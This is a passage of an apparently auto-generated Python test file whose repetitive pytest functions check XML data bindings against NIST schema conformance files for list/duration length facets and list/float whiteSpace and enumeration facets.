instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-5-3.xml",
class_name="NistschemaSvIvListDurationMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_4_nistxml_sv_iv_list_duration_min_length_5_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-5-4.xml",
class_name="NistschemaSvIvListDurationMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_4_nistxml_sv_iv_list_duration_min_length_5_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-5-5.xml",
class_name="NistschemaSvIvListDurationMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_3_nistxml_sv_iv_list_duration_min_length_4_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-4-1.xml",
class_name="NistschemaSvIvListDurationMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_3_nistxml_sv_iv_list_duration_min_length_4_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-4-2.xml",
class_name="NistschemaSvIvListDurationMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_3_nistxml_sv_iv_list_duration_min_length_4_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-4-3.xml",
class_name="NistschemaSvIvListDurationMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_3_nistxml_sv_iv_list_duration_min_length_4_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-4-4.xml",
class_name="NistschemaSvIvListDurationMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_3_nistxml_sv_iv_list_duration_min_length_4_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-4-5.xml",
class_name="NistschemaSvIvListDurationMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_2_nistxml_sv_iv_list_duration_min_length_3_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-3-1.xml",
class_name="NistschemaSvIvListDurationMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_2_nistxml_sv_iv_list_duration_min_length_3_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-3-2.xml",
class_name="NistschemaSvIvListDurationMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_2_nistxml_sv_iv_list_duration_min_length_3_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-3-3.xml",
class_name="NistschemaSvIvListDurationMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_2_nistxml_sv_iv_list_duration_min_length_3_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-3-4.xml",
class_name="NistschemaSvIvListDurationMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_2_nistxml_sv_iv_list_duration_min_length_3_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-3-5.xml",
class_name="NistschemaSvIvListDurationMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_1_nistxml_sv_iv_list_duration_min_length_2_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-2-1.xml",
class_name="NistschemaSvIvListDurationMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_1_nistxml_sv_iv_list_duration_min_length_2_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-2-2.xml",
class_name="NistschemaSvIvListDurationMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_1_nistxml_sv_iv_list_duration_min_length_2_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-2-3.xml",
class_name="NistschemaSvIvListDurationMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_1_nistxml_sv_iv_list_duration_min_length_2_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-2-4.xml",
class_name="NistschemaSvIvListDurationMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_1_nistxml_sv_iv_list_duration_min_length_2_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-2-5.xml",
class_name="NistschemaSvIvListDurationMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_nistxml_sv_iv_list_duration_min_length_1_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-1-1.xml",
class_name="NistschemaSvIvListDurationMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_nistxml_sv_iv_list_duration_min_length_1_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-1-2.xml",
class_name="NistschemaSvIvListDurationMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_nistxml_sv_iv_list_duration_min_length_1_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-1-3.xml",
class_name="NistschemaSvIvListDurationMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_nistxml_sv_iv_list_duration_min_length_1_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-1-4.xml",
class_name="NistschemaSvIvListDurationMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_min_length_nistxml_sv_iv_list_duration_min_length_1_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-minLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-minLength-1-5.xml",
class_name="NistschemaSvIvListDurationMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_4_nistxml_sv_iv_list_duration_max_length_5_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-5-1.xml",
class_name="NistschemaSvIvListDurationMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_4_nistxml_sv_iv_list_duration_max_length_5_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-5-2.xml",
class_name="NistschemaSvIvListDurationMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_4_nistxml_sv_iv_list_duration_max_length_5_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-5-3.xml",
class_name="NistschemaSvIvListDurationMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_4_nistxml_sv_iv_list_duration_max_length_5_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-5-4.xml",
class_name="NistschemaSvIvListDurationMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_4_nistxml_sv_iv_list_duration_max_length_5_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-5.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-5-5.xml",
class_name="NistschemaSvIvListDurationMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_3_nistxml_sv_iv_list_duration_max_length_4_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-4-1.xml",
class_name="NistschemaSvIvListDurationMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_3_nistxml_sv_iv_list_duration_max_length_4_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-4-2.xml",
class_name="NistschemaSvIvListDurationMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_3_nistxml_sv_iv_list_duration_max_length_4_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-4-3.xml",
class_name="NistschemaSvIvListDurationMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_3_nistxml_sv_iv_list_duration_max_length_4_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-4-4.xml",
class_name="NistschemaSvIvListDurationMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_3_nistxml_sv_iv_list_duration_max_length_4_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-4.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-4-5.xml",
class_name="NistschemaSvIvListDurationMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_2_nistxml_sv_iv_list_duration_max_length_3_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-3-1.xml",
class_name="NistschemaSvIvListDurationMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_2_nistxml_sv_iv_list_duration_max_length_3_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-3-2.xml",
class_name="NistschemaSvIvListDurationMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_2_nistxml_sv_iv_list_duration_max_length_3_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-3-3.xml",
class_name="NistschemaSvIvListDurationMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_2_nistxml_sv_iv_list_duration_max_length_3_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-3-4.xml",
class_name="NistschemaSvIvListDurationMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_2_nistxml_sv_iv_list_duration_max_length_3_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-3.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-3-5.xml",
class_name="NistschemaSvIvListDurationMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_1_nistxml_sv_iv_list_duration_max_length_2_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-2-1.xml",
class_name="NistschemaSvIvListDurationMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_1_nistxml_sv_iv_list_duration_max_length_2_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-2-2.xml",
class_name="NistschemaSvIvListDurationMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_1_nistxml_sv_iv_list_duration_max_length_2_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-2-3.xml",
class_name="NistschemaSvIvListDurationMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_1_nistxml_sv_iv_list_duration_max_length_2_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-2-4.xml",
class_name="NistschemaSvIvListDurationMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_1_nistxml_sv_iv_list_duration_max_length_2_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-2.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-2-5.xml",
class_name="NistschemaSvIvListDurationMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_nistxml_sv_iv_list_duration_max_length_1_1(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-1-1.xml",
class_name="NistschemaSvIvListDurationMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_nistxml_sv_iv_list_duration_max_length_1_2(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-1-2.xml",
class_name="NistschemaSvIvListDurationMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_nistxml_sv_iv_list_duration_max_length_1_3(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-1-3.xml",
class_name="NistschemaSvIvListDurationMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_nistxml_sv_iv_list_duration_max_length_1_4(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-1-4.xml",
class_name="NistschemaSvIvListDurationMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_duration_max_length_nistxml_sv_iv_list_duration_max_length_1_5(mode, save_output, output_format):
"""
Type list/duration is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/duration/Schema+Instance/NISTSchema-SV-IV-list-duration-maxLength-1.xsd",
instance="nistData/list/duration/Schema+Instance/NISTXML-SV-IV-list-duration-maxLength-1-5.xml",
class_name="NistschemaSvIvListDurationMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_white_space_nistxml_sv_iv_list_float_white_space_1_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet whiteSpace with value collapse.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-whiteSpace-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListFloatWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_white_space_nistxml_sv_iv_list_float_white_space_1_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet whiteSpace with value collapse.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-whiteSpace-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListFloatWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_white_space_nistxml_sv_iv_list_float_white_space_1_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet whiteSpace with value collapse.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-whiteSpace-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListFloatWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_white_space_nistxml_sv_iv_list_float_white_space_1_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet whiteSpace with value collapse.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-whiteSpace-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListFloatWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_white_space_nistxml_sv_iv_list_float_white_space_1_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet whiteSpace with value collapse.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-whiteSpace-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListFloatWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_4_nistxml_sv_iv_list_float_enumeration_5_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-5-1.xml",
class_name="NistschemaSvIvListFloatEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_4_nistxml_sv_iv_list_float_enumeration_5_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-5-2.xml",
class_name="NistschemaSvIvListFloatEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_4_nistxml_sv_iv_list_float_enumeration_5_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-5-3.xml",
class_name="NistschemaSvIvListFloatEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_4_nistxml_sv_iv_list_float_enumeration_5_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-5-4.xml",
class_name="NistschemaSvIvListFloatEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_4_nistxml_sv_iv_list_float_enumeration_5_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-5-5.xml",
class_name="NistschemaSvIvListFloatEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_3_nistxml_sv_iv_list_float_enumeration_4_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-4-1.xml",
class_name="NistschemaSvIvListFloatEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_3_nistxml_sv_iv_list_float_enumeration_4_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-4-2.xml",
